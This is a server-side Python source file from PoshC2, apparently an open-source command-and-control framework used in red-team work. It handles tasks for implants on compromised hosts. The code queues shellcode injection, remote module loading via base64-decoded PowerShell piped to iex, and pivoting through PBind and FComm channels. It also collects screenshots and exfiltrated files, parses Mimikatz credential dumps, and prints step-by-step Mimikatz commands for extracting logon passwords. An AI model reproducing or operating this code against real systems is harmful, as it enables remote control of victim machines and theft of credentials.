Codebase list poshc2 / 39f6cef poshc2 / server / Tasks.py
39f6cef

Tree @39f6cef (Download .tar.gz)

Tasks.py @39f6cefraw · history · blame

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
import datetime, hashlib, base64, traceback, os, re

import poshc2.server.database.DB as DB
from poshc2.Colours import Colours
from poshc2.server.Config import ModulesDirectory, DownloadsDirectory, ReportsDirectory
from poshc2.server.Implant import Implant
from poshc2.server.Core import decrypt, encrypt, default_response, decrypt_bytes_gzip, number_of_days, process_mimikatz, print_bad
from poshc2.server.Core import load_module, load_module_sharp, encrypt, default_response
from poshc2.server.payloads.Payloads import Payloads
from poshc2.server.PowerStatus import translate_power_status
from poshc2.Utils import randomuri


def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False):
    now = datetime.datetime.now()
    all_implants = DB.get_implants_all()
    if not all_implants:
        print_bad("Received post request but no implants in database... has the project been cleaned but you're using the same URLs?")
        return
    for implant in all_implants:
        implantID = implant.ImplantID
        RandomURI = implant.RandomURI
        Hostname = implant.Hostname
        encKey = implant.Key
        Domain = implant.Domain
        User = implant.User
        implant_type = implant.Pivot
        if RandomURI in uriPath and cookieVal:
            DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI)
            decCookie = decrypt(encKey, cookieVal)
            if implant_type == "JXA":
                rawoutput = decrypt(encKey, post_data[1500:])
            else:
                rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])

            if decCookie.startswith("Error"):
                print(Colours.RED)
                print("The multicmd errored: ")
                print(rawoutput)
                print(Colours.GREEN)
                return

            cookieMsg = ""
            if "-" in decCookie:
                decCookie = decCookie.strip('\x00')
                splt = decCookie.split("-")
                if not splt[0].isdigit():
                    print(Colours.RED + "[!] Cookie %s is invalid" % decCookie + Colours.GREEN)
                    return
                else:
                    taskId = str(int(splt[0]))
                    cookieMsg = splt[1]
            else:
                taskId = str(int(decCookie.strip('\x00')))
            taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
            if taskId != "99999":
                executedCmd = DB.get_cmd_from_task_id(taskId)
                task_owner = DB.get_task_owner(taskId)
            else:
                print(Colours.END)
                timenow = now.strftime("%Y-%m-%d %H:%M:%S")
                print(f"Background task against implant {implantID} on host {Domain}\\{User} @ {Hostname} ({timenow}) (output appended to %sbackground-data.txt)" % ReportsDirectory)
                print(Colours.GREEN)
                print(rawoutput)
                miscData = open(("%sbackground-data.txt" % ReportsDirectory), "a+")
                miscData.write(rawoutput)
                return
            print(Colours.GREEN)
            if task_owner is not None:
                print("Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
            else:
                print("Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
            try:
                outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
                outputParsed = outputParsed.rstrip()
            except Exception:
                pass
            if cookieMsg is not None and cookieMsg.lower().startswith("pwrstatusmsg"):
                translate_power_status(outputParsed, RandomURI)
                return
            if "loadmodule" in executedCmd and len(outputParsed.split()) == 0:
                print("Module loaded successfully")
                DB.update_task(taskId, "Module loaded successfully")
            elif "pbind-connect " in executedCmd and "PBind-Connected" in outputParsed or "PBind PBind start" in executedCmd and "PBind-Connected" in outputParsed:
                outputParsed = re.search("PBind-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("PBind-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]

                PivotString = "C# PBind"
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    PivotString = "C# PBind Pivot"

                newImplant = Implant(implantID, PivotString, str(Domain), str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe", "autoruns", RandomURI)
                else:
                    DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns", RandomURI)

            elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed:
                outputParsed = re.search("FComm-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("FComm-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(implantID, "C# FComm", str(Domain), str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                DB.new_task("fcomm-loadmodule Stage2-Core.exe", "autoruns", RandomURI)
            elif executedCmd.lower().startswith("beacon "):
                new_sleep = executedCmd.replace('beacon ', '').strip()
                DB.update_sleep(new_sleep, RandomURI)
            elif "get-screenshot" in executedCmd.lower():
                try:
                    decoded = base64.b64decode(outputParsed)
                    filename = implant.User + "-" + now.strftime("%m%d%Y%H%M%S_" + randomuri())
                    output_file = open('%s%s.png' % (DownloadsDirectory, filename), 'wb')
                    print("Screenshot captured: %s%s.png" % (DownloadsDirectory, filename))
                    DB.update_task(taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory, filename))
                    output_file.write(decoded)
                    output_file.close()
                except Exception:
                    DB.update_task(taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
                    print("Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
            elif (executedCmd.lower().startswith("$shellcode64")) or (executedCmd.lower().startswith("$shellcode64")):
                DB.update_task(taskId, "Upload shellcode complete")
                print("Upload shellcode complete")
            elif (executedCmd.lower().startswith("run-exe core.program core inject-shellcode")) or (executedCmd.lower().startswith("pbind-command run-exe core.program core inject-shellcode")) or (executedCmd.lower().startswith("pbind-pivot-command run-exe core.program core inject-shellcode")):
                DB.update_task(taskId, "Upload shellcode complete")
                print(outputParsed)
            elif "download-file" in executedCmd.lower():
                try:
                    filename = executedCmd.lower().replace("download-files ", "")
                    filename = filename.replace("download-file ", "")
                    filename = filename.replace("-source ", "")
                    filename = filename.replace("..", "")
                    filename = filename.replace("'", "")
                    filename = filename.replace('"', "")
                    filename = filename.replace("\\", "/")
                    directory, filename = filename.rsplit('/', 1)
                    filename = filename.rstrip('\x00')
                    original_filename = filename.strip()

                    if not original_filename:
                        directory = directory.rstrip('\x00')
                        directory = directory.replace("/", "_").replace("\\", "_").strip()
                        original_filename = directory

                    try:
                        if rawoutput.startswith("Error"):
                            print("Error downloading file: ")
                            print(rawoutput)
                            break
                        chunkNumber = rawoutput[:5]
                        totalChunks = rawoutput[5:10]
                    except Exception:
                        chunkNumber = rawoutput[:5].decode("utf-8")
                        totalChunks = rawoutput[5:10].decode("utf-8")

                    if (chunkNumber == "00001") and os.path.isfile('%s%s' % (DownloadsDirectory, filename)):
                        counter = 1
                        while(os.path.isfile('%s%s' % (DownloadsDirectory, filename))):
                            if '.' in filename:
                                filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(counter)
                            counter += 1
                    if (chunkNumber != "00001"):
                        counter = 1
                        if not os.path.isfile('%s%s' % (DownloadsDirectory, filename)):
                            print("Error trying to download part of a file to a file that does not exist: %s" % filename)
                        while(os.path.isfile('%s%s' % (DownloadsDirectory, filename))):
                            # First find the 'next' file would be downloaded to
                            if '.' in filename:
                                filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(counter)
                            counter += 1
                        if counter != 2:
                            # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                            if '.' in filename:
                                filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter - 2) + original_filename[original_filename.rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(counter - 2)
                        else:
                            filename = original_filename
                    print("Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename))
                    DB.update_task(taskId, "Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename))
                    output_file = open('%s%s' % (DownloadsDirectory, filename), 'ab')
                    try:
                        output_file.write(rawoutput[10:])
                    except Exception:
                        output_file.write(rawoutput[10:].encode("utf-8"))
                    output_file.close()
                except Exception as e:
                    DB.update_task(taskId, "Error downloading file %s " % e)
                    print("Error downloading file %s " % e)
                    traceback.print_exc()

            elif "safetydump" in executedCmd.lower():
                rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
                if rawoutput.startswith("[-]") or rawoutput.startswith("ErrorCmd"):
                    DB.update_task(taskId, rawoutput)
                    print(rawoutput)
                else:
                    dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
                    dumppath = "%s%s" % (DownloadsDirectory, dumpname)
                    open(dumppath, 'w').write(rawoutput)
                    message = "Dump written to: %s" % dumppath
                    message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:"
                    message = message + "\n     $filename = '.\\%s'" % dumpname
                    message = message + "\n     $b64 = Get-Content $filename"
                    message = message + "\n     $bytes = [System.Convert]::FromBase64String($b64)"
                    message = message + "\n     [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)"
                    message = message + "\n     ./mimikatz.exe"
                    message = message + "\n     sekurlsa::minidump safetydump.dmp"
                    message = message + "\n     sekurlsa::logonpasswords"
                    message = message + "\nOr to just decode on Linux:"
                    message = message + f"\n     base64 -id {dumpname} > dump.bin"
                    DB.update_task(taskId, message)
                    print(message)

            elif (executedCmd.lower().startswith("run-exe safetykatz") or "invoke-mimikatz" in executedCmd or executedCmd.lower().startswith("pbind-") or executedCmd.lower().startswith("fcomm-command") or executedCmd.lower().startswith("run-dll sharpsploit")) and "logonpasswords" in outputParsed.lower():
                print("Parsing Mimikatz Output")
                DB.update_task(taskId, outputParsed)
                process_mimikatz(outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)

            else:
                DB.update_task(taskId, outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)


def newTask(path):
    all_implants = DB.get_implants_all()
    commands = ""
    if all_implants:
        for i in all_implants:
            RandomURI = i.RandomURI
            Pivot = i.Pivot
            EncKey = i.Key
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for task in tasks:
                    command = task[2]
                    user = task[3]
                    user_command = command
                    implant = DB.get_implantbyrandomuri(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode86") or command.lower().startswith("run-exe core.program core inject-shellcode") or command.lower().startswith("run-exe pbind pbind run-exe core.program core inject-shellcode") or command.lower().startswith("pbind-command run-exe core.program core inject-shellcode") or command.lower().startswith("pbind-pivot-command run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith("run-jxa ")) or (command.lower().startswith("clipboard-monitor ")) or (command.lower().startswith("cred-popper ")):
                        user_command = command[:command.index("#")]
                        command = "run-jxa " + command[command.index("#") + 1:]
                    elif (command.lower().startswith('upload-file') or command.lower().startswith('pbind-command upload-file') or command.lower().startswith('fcomm-command upload-file')):
                        PBind = False
                        FComm = False
                        if command.lower().startswith('pbind-command upload-file'):
                            PBind = True
                        if command.lower().startswith('fcomm-command upload-file'):
                            FComm = True
                        upload_args = command \
                            .replace('pbind-command upload-file', '') \
                            .replace('fcomm-command upload-file', '') \
                            .replace('upload-file', '')
                        upload_file_args_split = upload_args.split()
                        if len(upload_file_args_split) < 2:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" % upload_args)
                            print(Colours.GREEN)
                            continue
                        upload_file = upload_file_args_split[0]
                        upload_file_destination = upload_file_args_split[1]
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(Colours.RED + f"Error, no bytes read from the upload file, removing task: {upload_file}" + Colours.GREEN)
                            DB.del_newtasks(str(task[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(upload_file_bytes).decode("utf-8")
                        if implant_type.lower().startswith('c#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.lower().startswith('ps'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.lower().startswith('py'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        elif implant_type.lower().startswith('jxa'):
                            command = f"upload-file {upload_file_destination}:{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" % upload_args)
                            print(Colours.GREEN)
                        if PBind:
                            command = f"pbind-command {command}"
                        if FComm:
                            command = f"fcomm-command {command}"
                        filehash = hashlib.md5(base64.b64decode(upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError('Task ID is greater than 5 characters which is not supported.')
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print("Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, user, implant.ImplantID, implant.Domain, implant.User, implant.Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
                    else:
                        print("Task %s issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implant.ImplantID, implant.Domain, implant.User, implant.Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
                    try:
                        if (user_command.lower().startswith("run-exe sharpwmi.program sharpwmi action=execute") or user_command.lower().startswith("pbind-command run-exe sharpwmi.program sharpwmi action=execute") or user_command.lower().startswith("fcomm-command run-exe sharpwmi.program sharpwmi action=execute")):
                            print(user_command[0:200])
                            print("----TRUNCATED----")
                        else:
                            print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if task[2].startswith("loadmodule "):
                        try:
                            module_name = (task[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            command=""
                    elif task[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("pbind-pivot-command run-exe Program PS ", "")
                            base64string = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(f"run-exe Program PS {base64string}".encode("utf-8")).decode("utf-8")
                            doublebase64string = base64.b64encode(f"run-exe PBind PBind {modulestr}".encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % doublebase64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("pbind-command run-exe Program PS ", "")
                            base64string = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(f"run-exe Program PS {base64string}".encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("fcomm-command run-exe Program PS ", "")
                            modulestr = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe FComm.FCClass FComm run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pslo "):
                        try:
                            module_name = (task[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pslo"):
                        try:
                            module_name = (task[2]).replace("pbind-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe PBind PBind \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-loadmodule "):
                        try:
                            module_name = (task[2]).replace("pbind-pivot-loadmodule ", "")
                            if ".exe" in module_name or ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                base64string = base64.b64encode(f"run-exe PBind PBind \"loadmodule{modulestr}\"".encode("utf-8")).decode("utf-8")
                                command = f"run-exe PBind PBind {base64string}"
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-pslo"):
                        try:
                            module_name = (task[2]).replace("fcomm-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe FComm.FCClass FComm \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-loadmodule "):
                        try:
                            module_name = (task[2]).replace("pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-command "):
                        try:
                            cmd = command.replace("pbind-command ", "")
                            base64string = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-connect"):
                        command = command.replace("pbind-connect ", "run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-kill"):
                        command = command.replace("pbind-kill", "run-exe PBind PBind kill-implant")
                    elif task[2].startswith("fcomm-loadmodule "):
                        try:
                            module_name = (task[2]).replace("fcomm-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print("Cannot find module, loadmodule is case sensitive!")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-command "):
                        command = command.replace("fcomm-command ", "run-exe FComm.FCClass FComm ")
                    elif task[2].startswith("fcomm-connect"):
                        command = command.replace("fcomm-connect ", "run-exe FComm.FCClass FComm start ")
                    elif task[2].startswith("fcomm-kill"):
                        command = command.replace("fcomm-kill", "run-exe FComm.FCClass FComm kill-implant")

                    elif task[2].startswith("pbind-pivot-command "):
                        try:
                            cmd = command.replace("pbind-pivot-command ", "")
                            base64string1 = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
                            base64string = base64.b64encode(f"run-exe PBind PBind {base64string1}".encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-connect"):
                        command = command.replace("pbind-pivot-connect ", "run-exe PBind PBind run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-pivot-kill"):
                        command = command.replace("pbind-pivot-kill", "run-exe PBind PBind run-exe PBind PBind kill-implant")

                    # Uncomment to print actual commands that are being sent
                    # if "AAAAAAAAAAAAAAAAAAAA" not in command:
                    #    print(Colours.BLUE + "Issuing Command: " + command + Colours.GREEN)

                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(task[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI)
                return default_response()